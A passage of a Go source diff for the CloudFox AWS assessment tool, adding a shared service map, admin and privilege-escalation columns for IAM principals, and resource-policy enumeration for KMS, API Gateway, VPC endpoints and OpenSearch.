@@ -791,16 +796,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
}
|
||||
|
||||
func (m *Inventory2Module) PrintTotalResources(AWSOutputType string) {
|
||||
var totalResources int
|
||||
for _, r := range m.AWSRegions {
|
||||
if m.totalRegionCounts[r] != 0 {
|
||||
totalResources = totalResources + m.totalRegionCounts[r]
|
||||
}
|
||||
}
|
||||
|
||||
for i := range m.GlobalResourceCounts {
|
||||
totalResources = totalResources + m.GlobalResourceCounts[i].count
|
||||
}
|
||||
totalResources := len(m.resources)
|
||||
fmt.Printf("[%s][%s] %d resources found in the services we looked at. This is NOT the total number of resources in the account.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), totalResources)
|
||||
}
|
||||
|
||||
|
||||
+7
-2
@@ -35,6 +35,7 @@ type LambdasModule struct {
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
PmapperDataBasePath string
|
||||
@@ -228,8 +229,12 @@ func (m *LambdasModule) PrintLambdas(outputDirectory string, verbosity int) {
|
||||
func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -74,6 +74,7 @@ type NetworkPortsModule struct {
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
Verbosity int
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
IPv4_Private []NetworkService
|
||||
@@ -273,8 +274,12 @@ func (m *NetworkPortsModule) PrintNetworkPorts(outputDirectory string) {
|
||||
|
||||
func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan NetworkServices) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
@@ -313,7 +318,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.getElastiCacheNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -322,7 +327,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.getLBNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ type OutboundAssumedRolesModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
OutboundAssumeRoleEntries []OutboundAssumeRoleEntry
|
||||
@@ -294,8 +295,12 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
|
||||
|
||||
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -196,7 +196,7 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputDirectory string, verbo
|
||||
func (m *IamPermissionsModule) GetGAAD() {
|
||||
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
TxtLogger.Error(err.Error())
|
||||
m.modLog.Error(err)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
@@ -26,6 +26,12 @@ type IamPrincipalsModule struct {
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
SkipAdminCheck bool
|
||||
iamSimClient IamSimulatorModule
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
PmapperDataBasePath string
|
||||
|
||||
// Main module data
|
||||
Users []User
|
||||
Roles []Role
|
||||
@@ -43,6 +49,8 @@ type User struct {
|
||||
Name string
|
||||
AttachedPolicies []string
|
||||
InlinePolicies []string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
}
|
||||
|
||||
type Group struct {
|
||||
@@ -62,6 +70,8 @@ type Role struct {
|
||||
Name string
|
||||
AttachedPolicies []string
|
||||
InlinePolicies []string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
}
|
||||
|
||||
func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosity int) {
|
||||
@@ -69,6 +79,7 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "principals"
|
||||
localAdminMap := make(map[string]bool)
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
@@ -78,6 +89,9 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating IAM Users and Roles for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
m.pmapperMod, m.pmapperError = InitPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines, m.PmapperDataBasePath)
|
||||
m.iamSimClient = InitIamCommandClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
// wg := new(sync.WaitGroup)
|
||||
|
||||
// done := make(chan bool)
|
||||
@@ -101,6 +115,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
"Arn",
|
||||
"AttachedPolicies",
|
||||
"InlinePolicies",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
|
||||
// If the user specified table columns, use those.
|
||||
@@ -122,6 +138,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
"Arn",
|
||||
//"AttachedPolicies",
|
||||
//"InlinePolicies",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
|
||||
// Otherwise, use the default columns.
|
||||
@@ -132,11 +150,25 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
"Arn",
|
||||
// "AttachedPolicies",
|
||||
// "InlinePolicies",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
// Remove the pmapper row if there is no pmapper data
|
||||
if m.pmapperError != nil {
|
||||
sharedLogger.Errorf("%s - %s - No pmapper data found for this account. Skipping the pmapper column in the output table.", m.output.CallingModule, m.AWSProfile)
|
||||
tableCols = removeStringFromSlice(tableCols, "CanPrivEscToAdmin?")
|
||||
}
|
||||
|
||||
//Table rows
|
||||
for i := range m.Users {
|
||||
if m.pmapperError == nil {
|
||||
m.Users[i].Admin, m.Users[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Users[i].Arn)
|
||||
} else {
|
||||
m.Users[i].Admin, m.Users[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Users[i].Arn, m.iamSimClient, localAdminMap)
|
||||
}
|
||||
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
@@ -146,12 +178,19 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
m.Users[i].Arn,
|
||||
strings.Join(m.Users[i].AttachedPolicies, " , "),
|
||||
strings.Join(m.Users[i].InlinePolicies, " , "),
|
||||
m.Users[i].Admin,
|
||||
m.Users[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
for i := range m.Roles {
|
||||
if m.pmapperError == nil {
|
||||
m.Roles[i].Admin, m.Roles[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Roles[i].Arn)
|
||||
} else {
|
||||
m.Roles[i].Admin, m.Roles[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Roles[i].Arn, m.iamSimClient, localAdminMap)
|
||||
}
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
@@ -161,6 +200,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
m.Roles[i].Arn,
|
||||
strings.Join(m.Roles[i].AttachedPolicies, " , "),
|
||||
strings.Join(m.Roles[i].InlinePolicies, " , "),
|
||||
m.Roles[i].Admin,
|
||||
m.Roles[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
+7
-2
@@ -29,6 +29,7 @@ type RAMModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Resources []Resource
|
||||
@@ -178,8 +179,12 @@ func (m *RAMModule) PrintRAM(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ram", r)
|
||||
if err != nil {
|
||||
|
||||
+391
-13
@@ -19,6 +19,11 @@ import (
|
||||
)
|
||||
|
||||
type ResourceTrustsModule struct {
|
||||
KMSClient *sdk.KMSClientInterface
|
||||
APIGatewayClient *sdk.APIGatewayClientInterface
|
||||
EC2Client *sdk.AWSEC2ClientInterface
|
||||
OpenSearchClient *sdk.OpenSearchClientInterface
|
||||
|
||||
// General configuration data
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -31,6 +36,7 @@ type ResourceTrustsModule struct {
|
||||
AWSProfileProvided string
|
||||
AWSProfileStub string
|
||||
CloudFoxVersion string
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
Resources2 []Resource2
|
||||
CommandCounter internal.CommandCounter
|
||||
@@ -55,7 +61,7 @@ type Resource2 struct {
|
||||
HasConditions string
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity int) {
|
||||
func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity int, includeKms bool) {
|
||||
// These struct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
@@ -72,13 +78,21 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfileProvided, aws.ToString(m.Caller.Account)))
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating Resources with resource policies for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Supported Services: CodeBuild, ECR, EFS, Glue, Lambda, SecretsManager, S3, SNS, SQS\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
// if kms feature flag is enabled include kms in the supported services
|
||||
if includeKms {
|
||||
fmt.Printf("[%s][%s] Supported Services: APIGateway, CodeBuild, ECR, EFS, Glue, KMS, Lambda, Opensearch, SecretsManager, S3, SNS, SQS, VpcEndpoint\n",
|
||||
cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Supported Services: APIGateway, CodeBuild, ECR, EFS, Glue, Lambda, Opensearch, SecretsManager, S3, SNS, "+
|
||||
"SQS, VpcEndpoint (KMS requires --include-kms feature flag)\n",
|
||||
cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
}
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
//fire up the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
@@ -91,7 +105,7 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver, includeKms)
|
||||
|
||||
}
|
||||
wg.Add(1)
|
||||
@@ -186,14 +200,17 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
fmt.Printf("[%s][%s] No resource policies found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2, includeKms bool) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
@@ -234,6 +251,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
@@ -243,6 +261,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
@@ -252,7 +271,8 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -261,6 +281,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getSecretsManagerSecretsPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("glue", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
@@ -271,6 +292,53 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.getGlueResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
if includeKms && m.KMSClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("kms", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getKMSPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.APIGatewayClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getAPIGatewayPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.EC2Client != nil {
|
||||
res, err = servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getVPCEndpointPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.OpenSearchClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getOpenSearchPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone chan bool) {
|
||||
@@ -306,7 +374,7 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
for _, t := range ListTopics {
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
var isInteresting = "No"
|
||||
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
@@ -316,9 +384,10 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
if err != nil {
|
||||
topic.Name = aws.ToString(t.TopicArn)
|
||||
} else {
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
}
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
|
||||
// check if topic is public or not
|
||||
if topic.Policy.IsPublic() {
|
||||
@@ -846,6 +915,315 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
|
||||
}
|
||||
}
|
||||
|
||||
// getKMSPoliciesPerRegion retrieves the resource policies for all KMS keys in a specified region.
|
||||
// It sends the resulting Resource2 objects to the dataReceiver channel.
|
||||
// It uses a semaphore to limit the number of concurrent requests and a WaitGroup to wait for all requests to complete.
|
||||
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
|
||||
func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
listKeys, err := sdk.CachedKMSListKeys(*m.KMSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, key := range listKeys {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
keyPolicy, err := sdk.CachedKMSGetKeyPolicy(*m.KMSClient, aws.ToString(m.Caller.Account), r, aws.ToString(key.KeyId))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if keyPolicy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
} else {
|
||||
isPublic = "No"
|
||||
}
|
||||
|
||||
if !keyPolicy.IsEmpty() {
|
||||
for i, statement := range keyPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(keyPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(key.KeyArn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(key.KeyId),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
restAPIs, err := sdk.CachedApiGatewayGetRestAPIs(*m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, restAPI := range restAPIs {
|
||||
|
||||
if sdk.IsPublicApiGateway(&restAPI) {
|
||||
continue
|
||||
}
|
||||
|
||||
var isPublic = "No"
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
if restAPI.Policy != nil && *restAPI.Policy != "" {
|
||||
|
||||
// remove backslashes from the policy JSON
|
||||
policyJson := strings.ReplaceAll(aws.ToString(restAPI.Policy), `\"`, `"`)
|
||||
|
||||
restAPIPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(restAPI.Name), err))
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !restAPIPolicy.IsEmpty() {
|
||||
for i, statement := range restAPIPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(restAPIPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:execute-api:%s:%s:%s/*", r, *m.Caller.Account, *restAPI.Id),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(restAPI.Name),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:execute-api:%s:%s:%s/*", r, *m.Caller.Account, *restAPI.Id),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(restAPI.Name),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
vpcEndpoints, err := sdk.CachedEC2DescribeVpcEndpoints(*m.EC2Client, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, vpcEndpoint := range vpcEndpoints {
|
||||
var isPublic = "No"
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
if vpcEndpoint.PolicyDocument != nil && *vpcEndpoint.PolicyDocument != "" {
|
||||
vpcEndpointPolicyJson := aws.ToString(vpcEndpoint.PolicyDocument)
|
||||
vpcEndpointPolicy, err := policy.ParseJSONPolicy([]byte(vpcEndpointPolicyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(vpcEndpoint.VpcEndpointId), err))
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !vpcEndpointPolicy.IsEmpty() {
|
||||
for i, statement := range vpcEndpointPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(vpcEndpointPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:ec2:%s:%s:vpc-endpoint/%s", r, aws.ToString(m.Caller.Account), aws.ToString(vpcEndpoint.VpcEndpointId)),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(vpcEndpoint.VpcEndpointId),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:ec2:%s:%s:vpc-endpoint/%s", r, aws.ToString(m.Caller.Account), aws.ToString(vpcEndpoint.VpcEndpointId)),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(vpcEndpoint.VpcEndpointId),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
